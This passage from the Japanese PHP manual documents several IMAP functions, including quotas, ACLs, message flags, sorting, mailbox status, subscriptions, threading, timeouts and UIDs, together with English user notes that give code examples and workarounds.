date-day-fixed  = (SP DIGIT) / 2DIGIT
                    ; Fixed-format version of date-day

date-month      = "Jan" / "Feb" / "Mar" / "Apr" / "May" / "Jun" /
                  "Jul" / "Aug" / "Sep" / "Oct" / "Nov" / "Dec"

date-text       = date-day "-" date-month "-" date-year

So a valid date is e.g. "22-Jul-2012" with or without the double quotes.
Brett 14-May-2012 07:45
I haven't found any documentation of the allowed date formats, but (for example) "14 May 2012" works.

// Find UIDs of messages within the past week
$date = date ( "d M Y", strToTime ( "-7 days" ) );
$uids = imap_search ( $mbox, "SINCE \"$date\"", SE_UID );
joseph dot cardwell at jbcwebservices dot com 26-Mar-2012 05:07
imap_search() always returns false when op_silent flag is set in the connection parameters.
admin at rancid-tea dot com 20-Sep-2007 08:57
This search looks for messages matching ALL criteria, not ANY criteria. For example the search

imap_search($mailbox,'FROM "user" TO "user"')

Will return message that have "user" in both the from and to headers, but not messages with "user" in either the from or to header.
oliver at samera dot com dot py 26-Oct-2002 08:16
imap_search() only supports IMAP2 search criterias, because the function mail_criteria() (from c-client lib) is used in ext/imap/php_imap.c for parsing the search string.
IMAP2 search criteria is defined in RFC 1176, section "tag SEARCH search_criteria".
oliver at samera dot com dot py 26-Jan-2002 09:03
imap_search() return false if it does not understand the search condition or no messages have been found.

$emails imap_seach($mbox, "UNDELETED SENTSINCE 01-Jan-2002");
if($emails === false)
  echo "The search failed";


指定したメールボックスにクォータを設定する

  • ≪ imap_search
  • imap_setacl ≫
  • PHP Manual
  • IMAP 関数
  • 指定したメールボックスにクォータを設定する

imap_set_quota

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

imap_set_quota — 指定したメールボックスにクォータを設定する

説明

imap_set_quota ( resource $imap , string $quota_root , int $mailbox_size ) : bool

メールボックス単位でクォータ上限(最大容量)を設定します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

quota_root

クォータを設定するメールボックス。 これは、メールボックスの IMAP 標準フォーマット 'user.name' に基づき指定する必要があります。

mailbox_size

quota_root の最大サイズ (KB 単位)。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imap_set_quota() の例

<?php
$mbox = imap_open("{imap.example.org:143}", "mailadmin", "password");

if (!imap_set_quota($mbox, "user.kalowsky", 3000)) {
    echo "クォータの設定に失敗\n";
    return;
}

imap_close($mbox);
?>

注意

この関数は、現在は c-client2000 以降のライブラリのユーザーのみ使用可能です。

メール管理者のアカウントでオープンされている imap を必要とします。 他のユーザーでオープンされている場合は、この関数は動作しません。

参考

  • imap_open() - メールボックスへの IMAP ストリームをオープンする
  • imap_get_quota() - クオータレベルの設定、メールボックス毎の使用状況を取得する

User Contributed Notes

lars at kneschke dot de 18-Mar-2003 06:24
If you want to disable the quotas again, set them to -1.

$mbox = imap_open ("{your.imap.host:143}", "mailadmin", "password");

if(!imap_set_quota($mbox, "user.kalowsky", -1)) {
    print "Error in deleting quota\n";
    return;
}

imap_close($mbox);


指定したメールボックスの ACL を設定する

  • ≪ imap_set_quota
  • imap_setflag_full ≫
  • PHP Manual
  • IMAP 関数
  • 指定したメールボックスの ACL を設定する

imap_setacl

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imap_setacl — 指定したメールボックスの ACL を設定する

説明

imap_setacl ( resource $imap , string $mailbox , string $user_id , string $rights ) : bool

指定したメールボックスの ACL を設定します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

mailbox

メールボックス名。詳細は imap_open() を参照ください。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

user_id

権限を付与するユーザー。

rights

そのユーザーに付与する権限。空文字列を渡すと、acl を削除します。

返り値

成功した場合に true を、失敗した場合に false を返します。

注意

この関数は、現在 c-client2000 以降のユーザーのみ使用可能です。

参考

  • imap_getacl() - 与えられたメールボックスの ACL を取得する

User Contributed Notes

hartmut dot woehrle at hwds dot ch 07-Mar-2016 02:46
After getting the ACL's from imap_getacl you want to set them for a user on any mailbox folder like this:

foreach ( $Folders as $key => $Maildir ) {
imap_setacl($domains , "user/john.doe/".$Maildir , $userid, "lrswipkxte");
}

You can use a form that translates the ACLs like the following (thanks to cyradm manual):

  switch ($right) {
      case "read" :  $aclstring = "lrs";
          break;
      case "post" : $aclstring = "lrsp";
          break;
      case "append" : $aclstring = "lrsip";
          break;
      case "write" : $aclstring = "lrswipkxte";
          break;
      case "delete" : $aclstring = "lrxte";
          break;
      case "all" : $aclstring = "lrswipkxte";
          break;
      case "admin" : $aclstring = "lrswipkxtea";
          break;
      case "none" : $aclstring = "";
          break;
  }
panayotis at yellownetroad dot com 06-Oct-2002 04:34
I noticed that using:
imap_setacl ($conn, $mbox, $userid, "")
will act like:
"deleteaclmailbox $mbox $userid"  (remove the ACL on mailbox for userid).


メッセージにフラグをセットする

  • ≪ imap_setacl
  • imap_sort ≫
  • PHP Manual
  • IMAP 関数
  • メッセージにフラグをセットする

imap_setflag_full

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_setflag_full — メッセージにフラグをセットする

説明

imap_setflag_full ( resource $imap , string $sequence , string $flag , int $options = 0 ) : bool

この関数は、指定した sequence のメッセージの フラグに指定した flag を設定し、保存します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

sequence

メッセージ番号のシーケンス。 X,Y 形式でメッセージを列挙したり、 X:Y 形式で範囲内のすべてのメッセージを指定したりすることができます。

flag

設定可能なフラグは、(» RFC2060 で定義された) \Seen、 \Answered、\Flagged、 \Deleted および \Draft です。

options

options はビットマスクであり、以下の組み合わせとなります。

  • ST_UID - シーケンス引数はシーケンス番号の代わりに UID を含みます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 imap_setflag_full() の例

<?php
$mbox = imap_open("{imap.example.org:143}", "username", "password")
     or die("接続できません: " . imap_last_error());

$status = imap_setflag_full($mbox, "2,5", "\\Seen \\Flagged");

echo gettype($status) . "\n";
echo $status . "\n";

imap_close($mbox);
?>

参考

  • imap_clearflag_full() - メッセージのフラグをクリアする

User Contributed Notes

ming0 at mailinator dot com 08-Sep-2010 10:43
To correct phpidiot at avanca-a dot de

<?php

imap_setflag_full($mbox, '1', 'label1');

?>
daniel dot blackburn at galorwebservices dot com 20-Aug-2010 02:13
Where possible I would avoid using POP3 accounts. My host allowed me to upgrade to IMAP and it is so much easier. I think the only way to accurately create any form of mail client with POP3 is to download the messages into an SQL database which is a big task to start with, considering the IMAP standards have the functionality we need built in.
I experimented with flag setting in POP3 and it seems they do not stick at all, and it is almost impossible to retrieve the number of unread messages (ie. the Seen / Unseen thing does not work)
Converted to IMAP and it's working - the majority of the functions in this section seem to be IMAP focussed and WILL NOT generally work with POP3
phpidiot at avanca-a dot de 25-Oct-2009 04:37
"Keywords" aka "tags" aka "PERMANENTFLAGS" can be added if your server supports IMAP 4rev1 by using $label{label-nr}:

<?php

$mbox = imap_open("{imap.example.org:143}", "username", "password")
     or die("can't connect: " . imap_last_error());

$status = imap_setflag_full($mbox, "2,5", "\$label1");

echo gettype($status) . "\n";
echo $status . "\n";

imap_close($mbox);
?>
calmdown at abendstille dot at 16-Jan-2003 01:54
The imap_setflag_full-function works with pop3 as long as the connection is NOT closed. if you make

imap_setflag_full($mbox, imap_uid($mbox, 0), "\\Seen \\Flagged", ST_UID);

print_r( imap_headerinfo($mbox, 0) );

you see the flags set, but if you call the box again with another script, the flags are empty again.
I tried this on a WinNT (*ugly*) with IIS 4.0 and a running POP3-server with PHP 4.3.
msh at onliners dot dk 25-Apr-2002 08:36
In reply to:
todsah@arise.nl
13-Oct-2000 06:51

The pop3 does indeed support the deleted flag - I have been working with the IMAP functions connection to a POP3 server this past week and lucky me it works.
AJCartmell at ricardo dot com 31-Jan-2002 06:29
Spent ages trying to get this to work, then eventually remembered I had opened the mailbox READONLY - obviously you need write permission for setting flags!
php AT holtsmark DOT no 14-Jan-2002 06:48
Use the imap_clearflag_full function if you want to unset the \Seen flag.

http://www.php.net/manual/en/function.imap-clearflag-full.php
death at metalfield dot com 21-Dec-2000 05:14
Indeed POP3 does not support flags that indicate the "newness" of a message. There are other ways to work around this problem, though. For one, I have seen mail delivery systems that will add a header field Status: to indicate its status (see RFC2076). Another way most email clients and mail fetching programs seem to use is to keep a local list of UID's of messages that are downloaded. Upon fetching mail, the UID's of the messages can be checked against this list to see if it was already downloaded. POP3 supports a command UIDL to get a list of all UID's, but I doubt the IMAP lib uses this command. The only thing I know of that will thrash this work-around is the use of multiple mail clients. If another mail client fetches mail from the server, the first client has no way of knowing it has been downloaded.
todsah at arise dot nl 13-Oct-2000 12:51
According to the rfc, pop3 does not have support for these flags, except perhaps for the deleted flag. I haven't tried if the delete flag works on pop3 or not.
simoned at eisa dot net dot au 13-Jan-2000 10:04
I've finally managed to get some action out of this function. Here is some code that might work help some people out:

$headers = imap_headers($link);
for($x=0; $x < count($headers); $x++) {
    $id = substr($headers[$x],5,4);
    imap_setflag_full($link,imap_uid($link,$id),'\\SEEN',SE_UID);
}

Good luck.


メッセージヘッダの配列をソートする

  • ≪ imap_setflag_full
  • imap_status ≫
  • PHP Manual
  • IMAP 関数
  • メッセージヘッダの配列をソートする

imap_sort

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_sort — メッセージヘッダの配列をソートする

説明

imap_sort ( resource $imap , int $criteria , bool $reverse , int $flags = 0 , string|null $search_criteria = null , string|null $charset = null ) : array|false

指定したパラメータにより取得したメッセージ番号をソートします。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

criteria

criteria は、次のどれかとします (ひとつのみ)。

  • SORTDATE - メッセージの日付
  • SORTARRIVAL - 到着日付
  • SORTFROM - 最初の From アドレスのメールボックス
  • SORTSUBJECT - メッセージ Subject
  • SORTTO - 最初の To アドレスのメールボックス
  • SORTCC - 最初の cc アドレスのメールボックス
  • SORTSIZE - メッセージのサイズ（バイト単位）

reverse

逆順にソートするかどうかを指定します。

flags

flags はビットマスクで、以下の組み合わせとなります。

  • SE_UID - シーケンス番号の代わりに UID を返す
  • SE_NOPREFETCH - 検索したメッセージを事前取得しない

search_criteria

IMAP2 フォーマットの検索条件文字列。詳細は imap_search() を参照ください。

charset

文字列の検索の際に使う MIME 文字セット。

返り値

指定したパラメータでソートしたメッセージ番号の配列を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
8.0.0 | reverse の型が、int から bool に変更されました。
8.0.0 | search_criteria, charset は、 nullable になりました。

User Contributed Notes

antoine dot spam-nono at maxg dot info 09-Feb-2006 07:42
I worked a lot with IMAP functions since I wrote a complete webmail and I've got a little tip about the imap_sort function :

There is a big difference between :

<?php
 imap_sort($imap, SORTDATE, 1);
// and
 imap_sort($imap, SORTARRIVAL, 1);
?>

The first command will issue a
 >> FETCH 1:last (UID ENVELOPE BODY.PEEK[HEADER.FIELDS (Newsgroups Content-MD5 Content-Disposition Content-Language Content-Location Followup-To References)] INTERNALDATE RFC822.SIZE FLAGS)

While the second resulted in
 >> FETCH 1:last (UID INTERNALDATE RFC822.SIZE FLAGS)

As a result, using SORTDATE took 3 seconds longer to complete on a 800-emails mailbox, while the results are quite the same (except if you have to deal with forged dates or timezones, but the arrival order is far more logical)

My advice if you sort your emails by arrival is to actually use SORTARRIVAL, or better don't use imap_sort and go straight with message numbers (not UIDs). On large mailboxes, if you display messages per page, you will have significant performance increases (by avoiding 5 seconds of sorting).
persian-horde at metanetworking dot com 07-May-2005 09:41
Hello,
We used MIME and NLS libraries in our previous code(imap_locale_sort) that
are part of PEAR and Horde projects, and so our function
was so specific. Here is the general (pure php) code for this
function:

function imap_locale_sort($stream,$criteria,$reverse,$locale,$options)
{
        if ($criteria!=SORTSUBJECT)
                return (imap_sort($stream,$criteria,$reverse,$options));

        $unsorted = array();
        $sortresult = array();

        $MC=imap_check($stream);
        $MN=$MC->Nmsgs;

        $overview = imap_fetch_overview($stream,"1:$MN",0);
        $k=0;
        while( list($key,$val) = each($overview))
        {
                $unsorted[$k]["uid"]=$val->uid;
                $unsorted[$k]["subject"]=imap_utf8($val->subject);
                $k++;
        }
        usort ($unsorted, create_function('$a,$b','setlocale(LC_ALL,$locale);return strcoll($a["subject"],$b["subject"]);'));

        for ($m=0;$m<count($unsorted);$m++)
                array_push($sortresult,$unsorted[$m]["uid"]);

        if ($reverse)
                $sortresult = array_reverse($sortresult);

        return $sortresult;
}

Sample usage:

$mbox = imap_open("{localhost:143}INBOX.sent-mail","userid","password");

if ($mbox)
    echo ("Connection Successful!");

$sorted = imap_locale_sort($mbox,SORTSUBJECT,0,'fa_IR',0);
print_r($sorted);
print ("\n\n");
$sorted = imap_sort($mbox,SORTSUBJECT,SE_UID);
print_r($sorted);

imap_close($mbox);
persian-horde at metanetworking dot com 07-May-2005 03:17
imap_sort uses the c-client library to sort messages. This library currently does not
support locale-based sort for foreign languages (Although it has charset option).
They are working on this(http://www.washington.edu/imap/IMAP-FAQs/#1.12),
but you can use the following function which uses strcoll() for locale-based sorting.
Pease note that this is required for SUBJECT field sorting, because most of
other fields are sorted correctly by imap_sort in any locale:

function imap_locale_sort($stream,$criteria,$reverse,$locale,$options)
{
        if ($criteria!=SORTSUBJECT)
                return (imap_sort($stream,$criteria,$reverse,$options));

        $unsorted = array();
        $sortresult = array();

        $MC=imap_check($stream);
        $MN=$MC->Nmsgs;

        $overview = imap_fetch_overview($stream,"1:$MN",0);
        $k=0;
        while( list($key,$val) = each($overview))
        {
                $unsorted[$k]["uid"]=$val->uid;
                $unsorted[$k]["subject"]=MIME::decode($val->subject, NLS::getCharset());
                $k++;
        }
        usort ($unsorted, create_function('$a,$b','setlocale(LC_ALL,$locale);return strcoll($a["subject"],$b["subject"]);'));

        for ($m=0;$m<count($unsorted);$m++)
                array_push($sortresult,$unsorted[$m]["uid"]);

        if ($reverse)
                $sortresult = array_reverse($sortresult);

        return $sortresult;
}

Usage example:

$sorted = imap_locale_sort($stream,SORTSUBJECT,0,'fa_IR',0);
boscolau at mac dot com 22-Mar-2005 02:57
in reply to graham_NOSPAM at rdb-concepts dot NOSPAM dot co dot uk here is a more elegant way to achieve sorting of search results:

function order_search($searchresults, $sortresults) {
    return array_values(array_intersect($sortresults,$searchresults));
}

example of using function:
   $sortresults = imap_sort($stream, $sort, $sortorder);
   $searchresults = imap_search($stream, $query);
   $sorted_search_results = order_search($searchresults, $sortresults);

sorted version of search results will then be held in the array of $sorted_search_results.
tilmauder at yahoo dot com 27-Apr-2004 09:43
in response to fprado's problem, the solution would be to use array_multisort() function on imap_fetchheader(). sdavey at datalink dot net dot au wrote an excellent example under array_multisort. I have used it to sort POP3 by message size. Unfortunately, my code is much too convoluted to post it here.
fprado at pmovil dot com dot br 21-Nov-2002 01:23
I use imap_sort() to go through POP3 accounts. However, sometimes, when the mailbox is too large, the response is incredibly slow.

I tried sniffing the network to discover the source of the problem and found that when imap_sort() is called for a POP3 server, it downloads the full body & attachs of ALL the messages in the mailbox. Since my POP server and my Web server are on differente machines, this caused the considerably slow response.

I've been trying a work-around this issue and if I manage to do this I'll post it here.
graham_NOSPAM at rdb-concepts dot NOSPAM dot co dot uk 18-Feb-2002 01:34
for those of you with an old version of PHP that doesn't support the extra search paramater you may want to use this function:
function order_search($searchresults, $sortresults) {
    $searchhash = array();
    $returnresults = array();
    $count = 0;
    for ($i = 0; $i < sizeof($searchresults); $i++) {
        $searchhash[$searchresults[$i]] = true;
    }
    for ($i = 0; $i < sizeof($sortresults); $i++) {
        if (@$searchhash[$sortresults[$i]]) {
            $returnresults[$count] = $sortresults[$i];
            $count++;
        }
    }
    return $returnresults;
}

example of using function:
    $sortresults = imap_sort($stream, $sort, $sortdir, SE_UID);
    $searchresults = imap_search($stream, $search, SE_UID);
    $results = order_search($searchresults, $sortresults);

$results will then hold a sorted array of search results.


現在のメールボックス以外のメールボックスのステータス情報を返す

  • ≪ imap_sort
  • imap_subscribe ≫
  • PHP Manual
  • IMAP 関数
  • 現在のメールボックス以外のメールボックスのステータス情報を返す

imap_status

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_status — 現在のメールボックス以外のメールボックスのステータス情報を返す

説明

imap_status ( resource $imap , string $mailbox , int $flags ) : stdClass|false

指定したメールボックス mailbox についてのステータス情報を取得します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

mailbox

メールボックス名。詳細は imap_open() を参照ください。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

flags

以下のフラグが使用できます。

  • SA_MESSAGES - $status->messages にメールボックスのメッセージ数を設定する
  • SA_RECENT - $status->recent にメールボックスの最近のメッセージ数を設定する
  • SA_UNSEEN - $status->unseen にメールボックスの未読の(新規)メッセージ数を設定する
  • SA_UIDNEXT - $status->uidnext にメールボックスの次の UID を設定する
  • SA_UIDVALIDITY - メールボックスの UID がもはや有効ではない場合に変化する定数を $status->uidvalidity に設定する
  • SA_ALL - 上記のものをすべて設定する

返り値

この関数は、ステータス情報を含むオブジェクトを返します。 失敗した場合に false を返します このオブジェクトには messages、 recent、unseen、 uidnext および uidvalidity というプロパティが含まれます。

flags にも、 上の各定数に対応するビットマスクを設定することができます。

例

例1 imap_status() の例

<?php
$mbox = imap_open("{imap.example.com}", "username", "password", OP_HALFOPEN)
      or die("接続できません: " . imap_last_error());

$status = imap_status($mbox, "{imap.example.org}INBOX", SA_ALL);
if ($status) {
  echo "Messages:   " . $status->messages    . "<br />\n";
  echo "Recent:     " . $status->recent      . "<br />\n";
  echo "Unseen:     " . $status->unseen      . "<br />\n";
  echo "UIDnext:    " . $status->uidnext     . "<br />\n";
  echo "UIDvalidity:" . $status->uidvalidity . "<br />\n";
} else {
  echo "imap_status failed: " . imap_last_error() . "\n";
}

imap_close($mbox);
?>

User Contributed Notes

mwwaygoo AT hotmail DOT com 12-Jul-2012 01:33
I had issues with imap_status not working correctly, while other imap functions seemed okay. I always got the ['flags']=0 response. No notes here and Google searching suggests it doesn't working properly with Exchange, so I wrote a little workaround, to at least get some information.

<?php
    function my_imap_status($stream, $mailbox='', $info=SA_ALL)
    {
        // get current mailbox name (and info)
        $curr_obj=imap_check($stream);
        if(!$curr_obj) return false;

        // if request if for current mailbox then just return it
        if( (empty($mailbox)) || ($mailbox==$curr_obj->Mailbox) ) return $curr_obj;

        // get current mailbox
        $current_mailbox=$curr_obj->Mailbox;

        //switch to new mailbox
        if(!imap_reopen($stream, $mailbox)) return false;

        // get info
        $obj=imap_check($stream);

        // switch back to original mailbox
        imap_reopen($stream, $current_mailbox);

        //return info
        return $obj;
    }
?>
razonklnbd at hotmail dot com 05-Jan-2008 10:12
another tips is to get only total number of message and recent message

$imap_obj = imap_status($mbox, '{mail.mysrv.com:143/imap}INBOX', SA_MESSAGES+SA_RECENT);
echo('<pre>'); var_dump($imap_obj); echo('</pre>');
jille at DIESPAMMERShexon dot cx 03-May-2007 06:21
In 'reply' to my previous post;
I`m not sure of that anymore
I think this trick works,
but the rest of my script just sucks..

Conclusion:
You can get the last UID by using status->uidnext-1
BUT: This is not a good way, if another message is added after your append and before your status; you are screwed


メールボックスを購読する

  • ≪ imap_status
  • imap_thread ≫
  • PHP Manual
  • IMAP 関数
  • メールボックスを購読する

imap_subscribe

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_subscribe — メールボックスを購読する

説明

imap_subscribe ( resource $imap , string $mailbox ) : bool

新規メールボックスを購読します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

mailbox

メールボックス名。詳細は imap_open() を参照ください。

警告

信頼できないデータをこのパラメータに渡すのであれば、 imap.enable_insecure_rsh を無効にしておかなければ危険です。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • imap_unsubscribe() - メールボックスの購読をやめる

User Contributed Notes

shacky 29-May-2009 06:34
Hi,
When $mailbox string ends with '/' it doesn't subscribe and doesn't return any error. You need to rtrim this character.
ajflorido dot canariastelecom.com 16-Mar-2003 10:11
Hello there! Sorry for my english
For someone who need to use this function.
I was trying to use it on my own imap server v2.0 but it didn't subscribe to any of the folders, so i try this method and it works.

class imap {
 var $imaphost="{your.imap.host:143}";
 var $imapuser="user";
 var $imappass="pass";
}

$imapm = new imap();

$mbox=imap_open($imapm->imaphost,$imapm->imapuser,$imapm->imappass);

$bool=imap_subscribe($mbox,"{your.host:143}INBOX");
  if ($bool)
  {
     print "Ok";
  } else {
            print "No ok";
           }


スレッド化したメッセージのツリーを返す

  • ≪ imap_subscribe
  • imap_timeout ≫
  • PHP Manual
  • IMAP 関数
  • スレッド化したメッセージのツリーを返す

imap_thread

(PHP 4 >= 4.0.7, PHP 5, PHP 7, PHP 8)

imap_thread — スレッド化したメッセージのツリーを返す

説明

imap_thread ( resource $imap , int $flags = SE_FREE ) : array|false

スレッド化されたメッセージのツリーを取得します。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

flags

返り値

imap_thread() は、REFERENCES でスレッド化したメッセージのツリーを含む連想配列を返します。 エラー時には false を返します。

現在のメールボックス内のすべてのメッセージが、結果の配列の 3 つの エントリで表されます。

  • $thread["XX.num"] - 現在のメッセージ番号。

  • $thread["XX.next"]

  • $thread["XX.branch"]

例

例1 imap_thread() の例

<?php

// ここでは、ニュースグループのスレッドを HTML で出力します。

$nntp = imap_open('{news.example.com:119/nntp}some.newsgroup', '', '');
$threads = imap_thread($nntp);

foreach ($threads as $key => $val) {
  $tree = explode('.', $key);
  if ($tree[1] == 'num') {
    $header = imap_headerinfo($nntp, $val);
    echo "<ul>\n\t<li>" . $header->fromaddress . "\n";
  } elseif ($tree[1] == 'branch') {
    echo "\t</li>\n</ul>\n";
  }
}

imap_close($nntp);

?>

User Contributed Notes

p2 at eduardoruiz dot es 21-Sep-2020 01:36
Fix
XX.num maybe 0, then stop

<?php
function FindThread(&$mailbox, $uid) {

    $mails = array();
    $thread = imap_thread($mailbox, SE_UID);

    $i = array_search($uid, $thread);
    while(($tree = explode('.', $i)) && ($j = array_search($tree[0], $thread)) &&
        ($treej = explode('.', $j)) && $treej[0] && ($k = array_search($treej[0], $thread)) && ($treek = explode('.', $k)) &&
        $thread[$treej[0] . '.num'] && $thread[$treek[0] . '.num'] &&
        ($thread[$treej[0] . '.next'] != 0 || $thread[$treek[0] . '.next'] != 0))
            $i = $j;

    $mails = FindThreadAll($thread, $tree[0]);

    return $mails;
}
?>

Eduardo Ruiz (Spain)
p2 at eduardoruiz dot es 19-Sep-2020 07:20
Get all UIDs of a single thread (not the whole all messages threads).
If you want to list just a conversation thread.

First, we must find the root element, using an UID included in these conversation in whatever message.

Then recursivelly we list all UIDs messages in an array.

<?php
// Function returns empty array if message is not in a thread
// You must indicate $mailbox returned by imap_open and a message UID listed in that thread conversation
// First root element is found when parent and previous parent are both with 'XX.next' elements equal to 0

function FindThread($mailbox, $uid) {

    $mails = array();
    $thread = imap_thread($mailbox, SE_UID);

    $i = array_search($uid, $thread);
    while(($tree = explode('.', $i)) && ($j = array_search($tree[0], $thread)) &&
        ($treej = explode('.', $j)) && $treej[0] && ($k = array_search($treej[0], $thread)) && ($treek = explode('.', $k)) &&
        ($thread[$treej[0] . '.next'] != 0 || $thread[$treek[0] . '.next'] != 0))
            $i = $j;

    $mails = FindThreadAll($thread, $tree[0]);

    return $mails;
}

// Walk messages in 2 ways, using 'XX.branch' and recursivelly 'XX.next' for sibiling and children messages
// Stop when in first iteration(call) there is no 'XX.next' element

function FindThreadAll(&$thread, $i, $n = 0) {

    $mails = array();
    while($i) {

        if(!($j = $thread[$i . '.next']) && !$n)
            break;

        $mails[] = $thread[$i . '.num'];
        if($j)
            $mails = array_merge($mails, FindThreadAll($thread, $j, $n + 1));

        $i = $thread[$i . '.branch'];
    }

    return $mails;
}

if(($mails = FindThread(64851))) // Example UID message
    print_r(imap_fetch_overview($mailbox, implode(',', $mails), SE_UID));
?>

Eduardo Ruiz (Spain)
cblanquera at gmail dot com 19-May-2011 08:13
imap_thread() returns threads, but are confined to the current open mailbox you defined in imap_open(). This is not useful for, lets say, getting full threads ( from "Sent Messages" and "Inbox" [took me a day to figure this out]).

If you compare threads on Outlook vs gmail.com you will find that Outlook determines threads by subject title, not actual parent > child relationships.

Gmail however, seems to get threads right, but does not include mail you send using their web interface in  {imap.google.com:993/imap/ssl}Sent Messages . What this means is that threads using php imap won't be perfect for gmail.

If you send mail using Outlook (or any mail client), gmail.com does put it in their "Sent Mail".

So all in all, threads for PHP imap are not perfect. But I blame the imap specifications (DEAR IMAP GUYS, please add better uids and parent ids. thx Chris) more than PHP

So I created the Outlook method for threading (comparing subjects) below:

<?php
$imap         = imap_open('{imap.gmail.com:993/imap/ssl}INBOX', 'youremail@gmail.com', 'yourpassword');
$subject     = 'Item b';
$threads     = array();

//remove re: and fwd:
$subject = trim(preg_replace("/Re\:|re\:|RE\:|Fwd\:|fwd\:|FWD\:/i", '', $subject));

//search for subject in current mailbox
$results = imap_search($imap, 'SUBJECT "'.$subject.'"', SE_UID);

//because results can be false
if(is_array($results)) {
    //now get all the emails details that were found
    $emails = imap_fetch_overview($imap, implode(',', $results), FT_UID);

    //foreach email
    foreach ($emails as $email) {
        //add to threads
        //we date date as the key because later we will sort it
        $threads[strtotime($email->date)] = $email;
    }
}

//now reopen sent messages
imap_reopen($imap, '{imap.gmail.com:993/imap/ssl}Sent Messages');

//and do the same thing

//search for subject in current mailbox
$results = imap_search($imap, 'SUBJECT "'.$subject.'"', SE_UID);

//because results can be false
if(is_array($results)) {
    //now get all the emails details that were found
    $emails = imap_fetch_overview($imap, implode(',', $results), FT_UID);

    //foreach email
    foreach ($emails as $email) {
        //add to threads
        //we date date as the key because later we will sort it
        $threads[strtotime($email->date)] = $email;
    }
}

//sort keys so we get threads in chronological order
ksort($threads);

echo '<pre>'.print_r($threads, true).'</pre>';
exit;
?>

so if you are going to use imap_thread() for something useful. This is probably the most optimal way I can think of:

<?php
$imap = imap_open('{imap.gmail.com:993/imap/ssl}INBOX', 'youremail@gmail.com', 'password');
$threads = $rootValues = array();

$thread = imap_thread($imap);
$root = 0;

//first we find the root (or parent) value for each email in the thread
//we ignore emails that have no root value except those that are infact
//the root of a thread

//we want to gather the message IDs in a way where we can get the details of
//all emails on one call rather than individual calls ( for performance )

//foreach thread
foreach ($thread as $i => $messageId) {
    //get sequence and type
    list($sequence, $type) = explode('.', $i);

    //if type is not num or messageId is 0 or (start of a new thread and no next) or is already set
    if($type != 'num' || $messageId == 0
       || ($root == 0 && $thread[$sequence.'.next'] == 0)
       || isset($rootValues[$messageId])) {
        //ignore it
        continue;
    }

    //if this is the start of a new thread
    if($root == 0) {
        //set root
        $root = $messageId;
    }

    //at this point this will be part of a thread
    //let's remember the root for this email
    $rootValues[$messageId] = $root;

    //if there is no next
    if($thread[$sequence.'.next'] == 0) {
        //reset root
        $root = 0;
    }
}

//now get all the emails details in rootValues in one call
//because one call for 1000 rows to a server is better
//than calling the server 1000 times
$emails = imap_fetch_overview($imap, implode(',', array_keys($rootValues)));

//foreach email
foreach ($emails as $email) {
    //get root
    $root = $rootValues[$email->msgno];

    //add to threads
    $threads[$root][] = $email;
}

//there is no need to sort, the threads will automagically in chronological order
echo '<pre>'.print_r($threads, true).'</pre>';
imap_close($imap);
exit;
?>
whamill at google mail 26-Apr-2010 02:23
I figure other people may benefit from an explanation of the resulting array, My understanding is:

Key: Essentially a node ID
Num: The mail ID (where 0 indicates the start of a conversation)
Next: The node ID of the first child (where 0 indicates there are no children)
Branch: The node ID of the next sibling (where 0 indicates there is no sibling)
mail at moritz-lapp dot de 05-Aug-2004 01:47
One possible option to imap_thread is the constant SE_UID, which will make imap_thread return UIDs instead of sequence numbers in the x.num-fields of the returned array.


imap タイムアウトを設定あるいは取得する

  • ≪ imap_thread
  • imap_uid ≫
  • PHP Manual
  • IMAP 関数
  • imap タイムアウトを設定あるいは取得する

imap_timeout

(PHP 4 >= 4.3.3, PHP 5, PHP 7, PHP 8)

imap_timeout — imap タイムアウトを設定あるいは取得する

説明

imap_timeout ( int $timeout_type , int $timeout = -1 ) : int|bool

imap タイムアウトを設定あるいは取得します。

パラメータ

timeout_type

IMAP_OPENTIMEOUT、 IMAP_READTIMEOUT、 IMAP_WRITETIMEOUT あるいは IMAP_CLOSETIMEOUT のいずれか。

timeout

タイムアウト秒数。

返り値

timeout が設定されている場合は、 この関数は成功した場合に true、失敗した場合に false を返します。

timeout が省略されていたり、-1 と評価される値が設定されている場合は、 現在のタイムアウト値 timeout_type を整数で返します。

例

例1 imap_timeout() の例

<?php

echo "現在の読み込みタイムアウト秒数は " . imap_timeout(IMAP_READTIMEOUT) . " です\n";

?>

User Contributed Notes

There are no user contributed notes for this page.


指定したメッセージシーケンス番号の UID を返す

  • ≪ imap_timeout
  • imap_undelete ≫
  • PHP Manual
  • IMAP 関数
  • 指定したメッセージシーケンス番号の UID を返す

imap_uid

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_uid — 指定したメッセージシーケンス番号の UID を返す

説明

imap_uid ( resource $imap , int $message_num ) : int|false

この関数は、指定したメッセージシーケンス番号の UID を返します。 メッセージ番号はメールボックスの内容を変更する度に変わる可能性が ありますが、UID はユニークな ID であり時間が経過しても変わりません。

この関数は、imap_msgno() の逆関数です。

パラメータ

imap

imap_open() が返す IMAP ストリーム。

message_num

メッセージ番号。

返り値

指定したメッセージの UID を返します。

注意

注意:

この関数は、POP3 メールボックスではサポートされません。

参考

  • imap_msgno() - 指定した UID のメッセージ番号を返す

User Contributed Notes

cmanley at example dot com 05-Jan-2018 04:32
If you want emulated POP3 UIDL support, then you can either use my imap function wrapper class, or just copy/modify it's header to UIDL hashing method:
https://github.com/cmanley/PHP-IMAP-Client/
Denis Rendler 12-Aug-2015 09:42
